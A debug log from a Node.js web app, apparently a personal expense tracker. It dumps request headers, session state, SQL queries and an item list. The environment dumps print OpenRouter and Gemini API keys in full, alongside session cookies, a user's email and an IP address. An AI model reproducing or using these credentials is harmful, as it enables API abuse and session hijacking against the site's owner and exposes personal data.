    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"19e0d-BijAxAh+3YRVWizv4W6GgHDX7tU"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'x-forwarded-for': '157.48.251.120',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T16:28:05.613Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/house-planner',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.251.120',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/house-planner',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"19e0d-BijAxAh+3YRVWizv4W6GgHDX7tU"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'HTTP_X_FORWARDED-FOR': '157.48.251.120',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/house-planner'
}
2026-04-07T16:30:20.840Z server-connect:router Serving templateView /
2026-04-07T16:30:20.841Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-04-07T16:30:20.842Z server-connect:router Serving serverConnect /api/masters/get-items
2026-04-07T16:30:20.842Z server-connect:app Executing action step identify
2026-04-07T16:30:20.842Z server-connect:app options: { provider: 'security' }
2026-04-07T16:30:20.842Z server-connect:output identity: 1
2026-04-07T16:30:20.842Z server-connect:app Executing action step restrict
2026-04-07T16:30:20.842Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T16:30:20.843Z server-connect:app Executing action step identify
2026-04-07T16:30:20.843Z server-connect:app options: { provider: 'security' }
2026-04-07T16:30:20.843Z server-connect:output identity: 1
2026-04-07T16:30:20.843Z server-connect:app Executing action step restrict
2026-04-07T16:30:20.843Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-07T16:30:20.844Z server-connect:output restrict: undefined
2026-04-07T16:30:20.844Z server-connect:app Executing action step restrict
2026-04-07T16:30:20.844Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T16:30:20.844Z server-connect:app Executing action step identify
2026-04-07T16:30:20.844Z server-connect:app options: { provider: 'security' }
2026-04-07T16:30:20.844Z server-connect:output identity: 1
2026-04-07T16:30:20.844Z server-connect:app Executing action step restrict
2026-04-07T16:30:20.845Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-07T16:30:20.846Z server-connect:output restrict: undefined
2026-04-07T16:30:20.846Z server-connect:app Executing action step single
2026-04-07T16:30:20.846Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-04-07T16:30:20.847Z server-connect:output restrict: undefined
2026-04-07T16:30:20.847Z server-connect:router Render template layouts/main
2026-04-07T16:30:20.847Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Linux"',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'i',
    cookie: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'x-forwarded-for': '157.48.251.120',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T16:28:05.613Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.251.120',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'HTTP_X_FORWARDED-FOR': '157.48.251.120',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-04-07T16:30:20.850Z server-connect:output restrict: undefined
2026-04-07T16:30:20.850Z server-connect:app Executing action step select
2026-04-07T16:30:20.850Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-04-07T16:30:20.851Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-04-07T16:30:20.857Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-04-07T16:30:29.869Z server-connect:router Serving templateView /house-planner
2026-04-07T16:30:29.870Z server-connect:app Executing action step identify
2026-04-07T16:30:29.870Z server-connect:app options: { provider: 'security' }
2026-04-07T16:30:29.870Z server-connect:output identity: 1
2026-04-07T16:30:29.870Z server-connect:app Executing action step restrict
2026-04-07T16:30:29.870Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T16:30:29.871Z server-connect:output restrict: undefined
2026-04-07T16:30:29.871Z server-connect:router Render template layouts/main
2026-04-07T16:30:29.872Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"19e0d-BijAxAh+3YRVWizv4W6GgHDX7tU"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'x-forwarded-for': '157.48.251.120',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T16:28:05.613Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/house-planner',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.251.120',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/house-planner',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"19e0d-BijAxAh+3YRVWizv4W6GgHDX7tU"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'HTTP_X_FORWARDED-FOR': '157.48.251.120',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/house-planner'
}
2026-04-07T16:30:34.462Z server-connect:router Serving serverConnect /api/masters/get-items
2026-04-07T16:30:34.464Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-04-07T16:30:34.464Z server-connect:router Serving templateView /house-planner
2026-04-07T16:30:34.465Z server-connect:app Executing action step identify
2026-04-07T16:30:34.465Z server-connect:app options: { provider: 'security' }
2026-04-07T16:30:34.465Z server-connect:output identity: 1
2026-04-07T16:30:34.465Z server-connect:app Executing action step restrict
2026-04-07T16:30:34.465Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-07T16:30:34.466Z server-connect:app Executing action step identify
2026-04-07T16:30:34.466Z server-connect:app options: { provider: 'security' }
